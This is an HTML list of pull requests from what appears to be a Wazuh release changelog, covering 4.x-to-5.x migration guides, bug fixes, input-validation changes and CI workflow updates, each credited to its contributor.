<li>Add NULL validation for optional FlatBuffer fields in inventory_sync by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4598119007" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36773" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36773/hovercard" href="https://github.com/wazuh/wazuh/pull/36773">#36773</a></li>
<li>Fix agent keepalive scheduling after system clock rollback by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Darioortegaleyva/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Darioortegaleyva">@Darioortegaleyva</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4503704905" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36338" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36338/hovercard" href="https://github.com/wazuh/wazuh/pull/36338">#36338</a></li>
<li>Create integratord migration guide to 5.x by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adman23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adman23">@Adman23</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4580559348" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36750" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36750/hovercard" href="https://github.com/wazuh/wazuh/pull/36750">#36750</a></li>
<li>Syslog output (csyslogd) 5.0 migration guide by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gonzaarancibia/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gonzaarancibia">@gonzaarancibia</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4573759572" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36741" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36741/hovercard" href="https://github.com/wazuh/wazuh/pull/36741">#36741</a></li>
<li>Merge merge-4.14.7-into-main into main [automated] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4596517095" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36767" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36767/hovercard" href="https://github.com/wazuh/wazuh/pull/36767">#36767</a></li>
<li>Migration documentation: syslog input alternative by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rovogel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rovogel">@rovogel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4613452406" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36781" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36781/hovercard" href="https://github.com/wazuh/wazuh/pull/36781">#36781</a></li>
<li>Drop libcrypt dependency from Python dep by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4614551071" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36782" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36782/hovercard" href="https://github.com/wazuh/wazuh/pull/36782">#36782</a></li>
<li>Change duplicated link to intented one by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Miguevrgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Miguevrgo">@Miguevrgo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4619366060" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36794" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36794/hovercard" href="https://github.com/wazuh/wazuh/pull/36794">#36794</a></li>
<li>Add centralized input validation for active response framework by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4578234540" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36745" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36745/hovercard" href="https://github.com/wazuh/wazuh/pull/36745">#36745</a></li>
<li>Fix sca check for etc/shadow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Miguevrgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Miguevrgo">@Miguevrgo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4619503472" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36795" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36795/hovercard" href="https://github.com/wazuh/wazuh/pull/36795">#36795</a></li>
<li>Align remoted metrics shipper with new field names by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4572800781" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36740" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36740/hovercard" href="https://github.com/wazuh/wazuh/pull/36740">#36740</a></li>
<li>Fix wrap PolicyBanner stat in 'sh -c' so glob expands in macOS SCA check 41062 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4615585186" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36783" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36783/hovercard" href="https://github.com/wazuh/wazuh/pull/36783">#36783</a></li>
<li>Bump main branch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4623354993" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36801" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36801/hovercard" href="https://github.com/wazuh/wazuh/pull/36801">#36801</a></li>
<li>Defer module coordination while FIM first sync is in progress by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anromerom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anromerom">@anromerom</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4591815012" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36762" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36762/hovercard" href="https://github.com/wazuh/wazuh/pull/36762">#36762</a></li>
<li>Revert "Bump main branch" by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MARCOSD4/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MARCOSD4">@MARCOSD4</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4623582882" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36802" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36802/hovercard" href="https://github.com/wazuh/wazuh/pull/36802">#36802</a></li>
<li>Change log severity for recoverable and expected conditions by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hernanvalenzuela/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hernanvalenzuela">@hernanvalenzuela</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4615970610" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36786" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36786/hovercard" href="https://github.com/wazuh/wazuh/pull/36786">#36786</a></li>
<li>Prevent data race in schema validator factory concurrent initialization by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4616512800" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36789" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36789/hovercard" href="https://github.com/wazuh/wazuh/pull/36789">#36789</a></li>
<li>Schema generation for dotted and nested field mappings by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jam300/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jam300">@jam300</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4536240667" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36473" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36473/hovercard" href="https://github.com/wazuh/wazuh/pull/36473">#36473</a></li>
<li>Engine support null values in schema validation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LucioDonda/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LucioDonda">@LucioDonda</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4535313001" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36470" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36470/hovercard" href="https://github.com/wazuh/wazuh/pull/36470">#36470</a></li>
<li>docs: add Active Response 4.x to 5.x migration guide by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jcorredor-spec/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jcorredor-spec">@jcorredor-spec</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521476970" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36402" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36402/hovercard" href="https://github.com/wazuh/wazuh/pull/36402">#36402</a></li>
<li>Use env mappings for variable passing in builderpackage workflows by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Miguevrgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Miguevrgo">@Miguevrgo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4572105403" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36738" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36738/hovercard" href="https://github.com/wazuh/wazuh/pull/36738">#36738</a></li>
<li>Adds 4.x to 5.x migration documentation. by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rjcausarano/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rjcausarano">@rjcausarano</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4615736469" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36785" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36785/hovercard" href="https://github.com/wazuh/wazuh/pull/36785">#36785</a></li>
<li>Fix AWS cross-account SQS queue URL when using iam_role_arn by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fcontrerasc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fcontrerasc">@fcontrerasc</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4617279433" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36791" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36791/hovercard" href="https://github.com/wazuh/wazuh/pull/36791">#36791</a></li>
<li>Fix enrollment key validation and improve input handling by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4629562793" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36807" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36807/hovercard" href="https://github.com/wazuh/wazuh/pull/36807">#36807</a></li>
<li>Lower agent_sync_protocol and module sync log levels to reduce false-alarm noise by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4634109312" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36817" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36817/hovercard" href="https://github.com/wazuh/wazuh/pull/36817">#36817</a></li>
<li>Add unit tests for utils, aws_tools, DockerListener, gcloud and azure modules by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AnDumu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AnDumu">@AnDumu</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4591653615" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36761" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36761/hovercard" href="https://github.com/wazuh/wazuh/pull/36761">#36761</a></li>
<li>Normalize numeric inode to string events (6960) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hernanvalenzuela/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hernanvalenzuela">@hernanvalenzuela</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4641496397" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36837" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36837/hovercard" href="https://github.com/wazuh/wazuh/pull/36837">#36837</a></li>
<li>Prevent indexer consumer wait during shutdown by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4640571004" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36836" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36836/hovercard" href="https://github.com/wazuh/wazuh/pull/36836">#36836</a></li>
<li>Update manager 5x documentation  by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ignaciogalle12git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ignaciogalle12git">@ignaciogalle12git</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4639437920" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36833" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36833/hovercard" href="https://github.com/wazuh/wazuh/pull/36833">#36833</a></li>
<li>Add bump-issue-link support to bumper workflow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4664679055" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36868" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36868/hovercard" href="https://github.com/wazuh/wazuh/pull/36868">#36868</a></li>
<li>Add guide for migrating manager coordinator from 4.x to 5.x by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jepalfer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jepalfer">@jepalfer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4639020634" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36829" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36829/hovercard" href="https://github.com/wazuh/wazuh/pull/36829">#36829</a></li>
<li>Add Wazuh Manager Configuration documentation from 4.x to 5.x by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antoniogm03/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antoniogm03">@Antoniogm03</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4611934920" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36779" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36779/hovercard" href="https://github.com/wazuh/wazuh/pull/36779">#36779</a></li>
<li>Add documentation to migrate filebeat to indexer connector by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antoniogm03/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antoniogm03">@Antoniogm03</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4664131019" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36866" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36866/hovercard" href="https://github.com/wazuh/wazuh/pull/36866">#36866</a></li>
<li>wazuh-manager: Benchmark and footprint by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/juliancnn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/juliancnn">@juliancnn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4456748469" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36145" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36145/hovercard" href="https://github.com/wazuh/wazuh/pull/36145">#36145</a></li>
<li>Update manager upgrade block message by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4681713013" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36987" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36987/hovercard" href="https://github.com/wazuh/wazuh/pull/36987">#36987</a></li>
<li>5.x PR workflows improvements by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ignaciogalle12git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ignaciogalle12git">@ignaciogalle12git</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4596503652" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36766" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36766/hovercard" href="https://github.com/wazuh/wazuh/pull/36766">#36766</a></li>
<li>Add Manager 5.0 release notes and breaking changes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ignaciogalle12git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ignaciogalle12git">@ignaciogalle12git</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4648591326" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36850" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36850/hovercard" href="https://github.com/wazuh/wazuh/pull/36850">#36850</a></li>
<li>ci(gha): migrate server/manager workflows to AWS CodeBuild runners [main] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4692375185" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37012" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37012/hovercard" href="https://github.com/wazuh/wazuh/pull/37012">#37012</a></li>
<li>chore: update vulnerable Python framework dependencies by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4699088509" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37024" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37024/hovercard" href="https://github.com/wazuh/wazuh/pull/37024">#37024</a></li>
<li>Add Manager 5.0 wazuh-manager.conf configuration reference by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4691339394" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36999" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36999/hovercard" href="https://github.com/wazuh/wazuh/pull/36999">#36999</a></li>
<li>Add virustotal migration guide by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jepalfer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jepalfer">@jepalfer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4692765810" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37013" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37013/hovercard" href="https://github.com/wazuh/wazuh/pull/37013">#37013</a></li>
<li>Add VD migration documentation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ignaciogalle12git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ignaciogalle12git">@ignaciogalle12git</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4692092118" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37008" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37008/hovercard" href="https://github.com/wazuh/wazuh/pull/37008">#37008</a></li>
<li>Add documentation for wpk upgrade by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antoniogm03/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antoniogm03">@Antoniogm03</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4693271310" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37015" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37015/hovercard" href="https://github.com/wazuh/wazuh/pull/37015">#37015</a></li>
<li>Migrate agent build workflows to AWS CodeBuild runners by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4701880741" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37028" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37028/hovercard" href="https://github.com/wazuh/wazuh/pull/37028">#37028</a></li>
<li>XML Decoders migration to YAML by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jepalfer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jepalfer">@jepalfer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4673566639" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36959" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36959/hovercard" href="https://github.com/wazuh/wazuh/pull/36959">#36959</a></li>
<li>CDB to KVDB migration guide by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jepalfer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jepalfer">@jepalfer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4690514873" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36996" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36996/hovercard" href="https://github.com/wazuh/wazuh/pull/36996">#36996</a></li>
<li>Documentation of Agentless migration to 5.x by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antoniogm03/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antoniogm03">@Antoniogm03</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4699204980" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37025" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37025/hovercard" href="https://github.com/wazuh/wazuh/pull/37025">#37025</a></li>
<li>Fix manager reload/restart silently fails by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ignaciogalle12git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ignaciogalle12git">@ignaciogalle12git</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4673792785" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36962" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36962/hovercard" href="https://github.com/wazuh/wazuh/pull/36962">#36962</a></li>
<li>Randomize key generation for installation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jepalfer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jepalfer">@jepalfer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4651010813" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36861" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36861/hovercard" href="https://github.com/wazuh/wazuh/pull/36861">#36861</a></li>
<li>Retry vulnerability feed validation failures promptly by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4665777430" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36874" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36874/hovercard" href="https://github.com/wazuh/wazuh/pull/36874">#36874</a></li>
<li>Bump 5.0.0 branch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4716517657" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37040" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37040/hovercard" href="https://github.com/wazuh/wazuh/pull/37040">#37040</a></li>
<li>Fix agent permanently stuck when TCP connection is silently half-closed by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nbertoldo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nbertoldo">@nbertoldo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4616576722" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36790" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36790/hovercard" href="https://github.com/wazuh/wazuh/pull/36790">#36790</a></li>
<li>ci(gha): migrate server/manager workflows to AWS CodeBuild runners [4.14.6] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4692373330" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37010" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37010/hovercard" href="https://github.com/wazuh/wazuh/pull/37010">#37010</a></li>
